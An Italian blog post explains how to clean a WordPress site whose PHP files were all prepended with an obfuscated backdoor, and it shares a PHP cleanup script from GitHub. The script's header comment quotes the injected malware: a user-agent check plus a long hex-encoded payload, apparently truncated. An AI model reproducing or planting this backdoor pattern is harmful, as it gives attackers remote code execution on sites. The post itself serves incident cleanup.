Ripulire il codice di WordPress dopo un’intrusione che ha alterato i file PHP

Oggi uno dei miei dev preferiti 😉 mi ha chiamato con un problema classico: il sito WordPress di un suo cliente devastato da un’intrusione che ha preposto a tutti i file PHP una riga di codice malevolo, attivabile con il semplice passaggio di un valore via GET. In pratica tutti i file .php dell’intero sito – e in verità di tutti i siti condivisi (ahimè!) sotto lo stesso user –  presentavano una riga di codice evidentemente criptato ed eseguibile richiamando la stessa pagina con l’aggiunta di un parametro GET nell’url. Io qui la faccio anche troppo lunga perché si tratta di una situazione notissima a chi fa il nostro lavoro, ma vorrei essere utile per chi invece è alle prime armi.

Domanda: perché i vari malware detector installati su ogni buon server Linux non riconoscono e non rimuovono questa riga di codice?

Risposta: semplicemente perché è ben congegnata e non presenta le caratteristiche tipiche del codice malevolo. Agli “occhi” dello scanner sembra un normalissima porzione di codice PHP.

Grazie al cielo qualcuno ha pensato a questo scenario specifico ed ha elaborato uno script che rimuove la riga di codice in questione da ogni file in cui la rileva. Condivido qui lo script nella versione riveduta e corretta di EenvoudMedia (vedi il thread pubblicato su GitHub).

<?php

/**
 * A script to cleanup a hacked WordPress site.
 *
 * The hacker prepended the following to most/all of the .php files:
 * <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $uispnwkeuy = 'c%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sbx7825))!gj!<*#cd2bge56+99386c825tzw%x5c%x782f%x5c%75%156%x61"]=1; functio8y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvx7825<#g6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuop%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5cpd%x5c%x78256<pd%x5c%x7825w6Zj%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]2212]445]43]321]464]284]364]6]234]342]58]24]315c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)60msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%xx78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x78x7824)#P#-#Q#-#B#-#T#-#x7825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787fw6*%y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y83]2425j:>>1*!%x5c%x7825b:>1<!fmtf!%%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-OVMM*<%x22%51%x29%51%x29%73", NULL)25%x5c%x7824-%x5c%x7!-id%x5c%x7825)uqpuft%x5c%x78U;y]}R;2]},;osvufs}%xww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x5c%x7825h>#]y31x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftp5c%x7825}&;ftmbg}%x5c7>%x5c%x782f7&6|7**1175]D:M8]Df#<%x5c%x7825tdz>#6-%x5c%x7878r.985:52985-t.tjyf%x5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdf#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%164x7825V<#65,47R25,d7R17,67R37,#%x5c%x782x5c%x782f#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]c%x7825V%x5c%x7827{ftmfV%x5c%x7%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x78c%x7825rN}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Zx5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%x75h00#*<%x5c%x7825nfd)##Qtp373P6]36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323%x5c%x7860{66~6<&w6<%x5c%xx7825!*72!%x5c%x7827!hmg%]61]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55msv%x5c%x7825)}k~~~<ftmbg!osvufs!|fy3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x8%x5c%x7824-%x5c%x7824]26%x5c%x782!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323lsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)L4]275L3]248L3P6L1M5]D2P4]D6#<%x55%x28%141%x72%162%x61%171%xz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]1127-K)ebfsX%x5c%x7827u%x5c%x782dpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c25ww2!>#p#%x5c%x782f#p#%x5c%x782W%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5#-%x5c%x7825tdz*Wsfuvso!%x5c5!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut%x5c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825y6<.3%x5c%x7860hA%x5c%x7827pd%x5c%c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x78vufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x78246767~6f%x5c%x7825z<jg
 * It needs shouold be run in the public site's root directory
 */

ob_start();
system("find . -type f -exec awk 'FNR==1 && /GLOBALS/ { print FILENAME \": \" $0; }; FNR>1 {nextfile}' {} + | cut -d':' -f1");
$response = ob_get_contents();
ob_end_clean();

foreach(explode("\n", $response) as $file){
        if ($file) {
                echo "f: $file\n\n";
                $fileArr = file($file);
                $hack_pos = strpos($fileArr[0], 'GLOBALS');
                if ($hack_pos !== false) {
                        $orig_pos = strpos($fileArr[0], '; ?>', $hack_pos);
                        $first_line = $orig_pos !== false ? substr($fileArr[0], $orig_pos + 4) : '';
                        $fileArr[0] = $first_line;
                        file_put_contents($file, join("\n", $fileArr));
                }
        }
}

?>

fonte: Hacked WordPress Cleanup Script

Condivido

Leave a comment